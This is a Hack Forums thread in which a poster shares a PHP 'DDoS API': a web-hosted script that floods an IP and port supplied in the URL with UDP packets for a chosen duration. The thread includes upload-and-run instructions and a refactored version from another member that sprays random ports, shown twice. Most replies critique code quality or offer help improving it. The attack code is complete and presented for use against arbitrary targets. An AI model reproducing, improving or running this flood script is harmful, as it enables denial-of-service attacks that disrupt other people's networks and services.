

Forum:[Hack Forums](#)

Thread: [DDOS API Script | DDOS Script Built In to PHP File](#)

Flacko. - January 29, 2015, 10:56 pm

My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

Tutorial:

1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!

Code <?php #\$_GET Requests

```
$apikey = $_GET['apikey'];  
$host   = $_GET['host'];  
$port   = $_GET['port'];  
$exec_time = $_GET['time'];  
$method = $_GET['method'];
```

#DDoS Info

```
$max_boot_time = "3601"; #Change to desired max boot time, then +1. Example: 5000, make it  
5001. ** DO NOT ADD QUOTATION MARKS(.) **  
$max_boot_time_show = "3,600 seconds."; #Change this to the desired max boot time you already  
picked above. Do not remove (seconds.).  
$key = "123"; #Change this with your desired login key.  
$time = time();  
$max_time = $time + $exec_time;  
$packets = 0;
```

#Script Settings

```
set_time_limit(0);  
ignore_user_abort(FALSE);
```

#API Verification

```
if ($apikey == null) {  
    ob_end_clean();  
    echo 'Enter your API Key.';  
} else {  
}
```

#Main

```
if ($apikey == $key) {  
    if ($host == null) {  
        echo "Invalid Format: Enter a host.<br>Format:?api=123&host=127.0.0.1&port=80&time=10";  
    } else {  
        if ($port == null) {  
            echo "Invalid Format: Enter a port.<br>Format:?api=123&host=127.0.0.1&port=80&time=10";  
        } else {
```

```

if ($time == null) {
    echo "Invalid Format: Enter boot
time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
} else {
    if ($exec_time >= $max_boot_time) {
        echo 'Your max boot time is ' . $max_boot_time_show . ";
    } else {
        for ($i = 0; $i < 65535; $i++) {
            $out .= "X";
        }
        while (1) {
            $packets++;
            if (time() > $max_time) {
                break;
            }

            $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if ($fp) {
                fwrite($fp, $out);
                fclose($fp);
            }
            echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
        }
    }
} else {
    echo 'Invalid API Key';
}
?>

```

[selinux](#) version.

Spoiler ([Click to View](#))

Code <?php

```
set_time_limit(0);
```

```
ignore_user_abort(FALSE);
```

```
$config = array(
```

```
    'key' => 'valid_api_key',
```

```
    'max_time' => 3600,
```

```
    'methods' => array(
```

```
        'udp'
```

```
    ),
```

```
    'gift' => str_repeat('PAUL WALKER AND GEORGE BUSH DID 911 CONFIRMED', 69)
```

```
);
```

```
$apikey = $_GET['apikey'];
```

```
$host = $_GET['host'];
```

```
$time = $_GET['time'];
```

```
$method = $_GET['method'];
```

```
if(!isset($apikey) || empty($apikey) || $apikey != $config['key']) {
    die('Please provide a valid API key');
```

```

}

if(!isset($host) || empty($host) || filter_var($host, FILTER_VALIDATE_IP) === false) {
    die('Please provide a valid host');
} else {
    $host = 'udp://' . $host;
}

if(!isset($time) || empty($time) || !is_numeric($time) || intval($time) > $config['max_time']) {
    die('Please provide a valid time');
} else {
    $time = time() + intval($time);
}

if(!isset($method) || empty($method) || !in_array($method, $config['methods'])) {
    die('Please provide a valid method');
}

// You should use a class for each attack, but I won't spoon-feed you everything
if($method === 'udp') {
    $packets = 0;
    for($i = 0; $i < 65535; $i++) {
        $out .= $config['gift'];
    }
    while(1) {
        $packets++;
        if(time() > $time) {
            break;
        }
        $fp = fsockopen($host, rand(1, 65000), $errno, $errstr, 5);
        if($fp) {
            fwrite($fp, $out);
            fclose($fp);
        }
    }
}

?>

```

MineSQL - January 29, 2015, 11:42 pm

(Jan 29, 2015 11:56 PM)Tosca Wrote: [\[CITE\]](#) My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

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Ew: <http://www.minesql.me/paste/B18> (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...

Michael J. Scofield - January 31, 2015, 4:05 pm

(Jan 30, 2015 12:42 AM)MySQL Wrote: [\[CITE\]](#) Ew: <http://www.minesql.me/paste/B18> (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...

Thank you both for this!

You really helped me out with this and im not even kidding?

ASDA - January 31, 2015, 4:48 pm

<https://hackforums.net/showthread.php?tid=3651198>

Black_Tulip - May 29, 2015, 2:36 pm

the script not working or idk how to setit up can someone help me ? Any video tutorial!

Remix - May 30, 2015, 6:05 am

A ddos script written in php isnt really useful because php's performance isnt really good.

Better use a c/c++ script.

c x y k - May 30, 2015, 6:08 am

This is making me cringe real bad.

DAVEologist - May 31, 2015, 5:21 am

Oh my god. This is horrible.

Dr.1337 - June 1, 2015, 6:34 am

(May 31, 2015 05:21 AM)DAVEologist Wrote: [\[CITE\]](#) Oh my god. This is horrible.

Well, why you all don't appreciate that user wanted to share that with us instead of criticizing his work?

Alex™ - June 1, 2015, 10:55 am

(May 31, 2015 05:21 AM)DAVEologist Wrote: [\[CITE\]](#) Oh my god. This is horrible.

(May 30, 2015 06:08 AM)qonda? Wrote: [\[CITE\]](#) This is making me cringe real bad.

Instead of insulting his work why don't you actual contribute to it?

Datageni - June 2, 2015, 9:01 am

Do you use GitHub? The code needs a bit of repairing, I'll help out and contribute with bug fixes and improvements.

McDaw - June 2, 2015, 11:47 am

I can help too if it's needed

ASDA - June 2, 2015, 1:54 pm

(May 30, 2015 06:05 AM)[iRemix] Wrote: [\[CITE\]](#) A ddos script written in php isnt really useful because php's performance isnt really good.

Better use a c/c++ script.

dos*

the reason why you shouldn't use dos scripts in PHP is not due to performance at all, where the fuck have you got that from? the reason why PHP is not normally used is because of it's quite high up in the network stack.

DeXtr0 - June 13, 2015, 7:31 pm

This is dont work man ...

Elin - June 13, 2015, 7:34 pm

Please start to use functions & switches.

?????? - June 14, 2015, 9:41 am

Thanks for the share mate..Like it

selinux - June 14, 2015, 4:01 pm

Re-did this in 5 minutes. Fair warning, haven't tested it out, and I have no knowledge regarding DDoS/DoS attacks.

It's still based on OP's attack method, just uses better practice.

Spoiler ([Click to View](#))

Code <?php

set_time_limit(0);

ignore_user_abort(FALSE);

\$config = array(

 'key' => 'valid_api_key',

 'max_time' => 3600,

 'methods' => array(

 'udp'

),

 'gift' => str_repeat('PAUL WALKER AND GEORGE BUSH DID 911 CONFIRMED', 69)

);

\$apikey = \$_GET['apikey'];

\$host = \$_GET['host'];

\$time = \$_GET['time'];

\$method = \$_GET['method'];

if(!isset(\$apikey) || empty(\$apikey) || \$apikey != \$config['key']) {

 die('Please provide a valid API key');

}

if(!isset(\$host) || empty(\$host) || filter_var(\$host, FILTER_VALIDATE_IP) === false) {

 die('Please provide a valid host');

} else {

 \$host = 'udp://' . \$host;

}

if(!isset(\$time) || empty(\$time) || !is_numeric(\$time) || intval(\$time) > \$config['max_time']) {

 die('Please provide a valid time');

} else {

 \$time = time() + intval(\$time);

}

if(!isset(\$method) || empty(\$method) || !in_array(\$method, \$config['methods'])) {

 die('Please provide a valid method');

}

// You should use a class for each attack, but I won't spoon-feed you everything

```

if($method === 'udp') {
    $packets = 0;
    for($i = 0; $i < 65535; $i++) {
        $out .= $config['gift'];
    }
    while(1) {
        $packets++;
        if(time() > $time) {
            break;
        }
        $fp = fsockopen($host, rand(1, 65000), $errno, $errstr, 5);
        if($fp) {
            fwrite($fp, $out);
            fclose($fp);
        }
    }
}

?>

```

Flacko. - June 14, 2015, 6:34 pm

(Jun 14, 2015 04:01 PM)selinux Wrote: [CITE](#) Re-did this in 5 minutes. Fair warning, haven't tested it out, and I have no knowledge regarding DDoS/DoS attacks. It's still based on OP's attack method, just uses better practice.

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Code <?php
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    'gift' => str_repeat('PAUL WALKER AND GEORGE BUSH DID 911 CONFIRMED', 69)
);

$apikey = $_GET['apikey'];
$host = $_GET['host'];
$time = $_GET['time'];
$method = $_GET['method'];

if(!isset($apikey) || empty($apikey) || $apikey != $config['key']) {
    die('Please provide a valid API key');
}

if(!isset($host) || empty($host) || filter_var($host, FILTER_VALIDATE_IP) === false) {
    die('Please provide a valid host');
} else {
    $host = 'udp://' . $host;
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if(!isset($time) || empty($time) || !is_numeric($time) || intval($time) > $config['max_time']) {  
    die('Please provide a valid time');  
} else {  
    $time = time() + intval($time);  
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if(!isset($method) || empty($method) || !in_array($method, $config['methods'])) {  
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        $packets++;  
        if(time() > $time) {  
            break;  
        }  
        $fp = fsockopen($host, rand(1, 65000), $errno, $errstr, 5);  
        if($fp) {  
            fwrite($fp, $out);  
            fclose($fp);  
        }  
    }  
}
```

?>

Looks a lot better than my code, thank you! I'll add it to the main thread.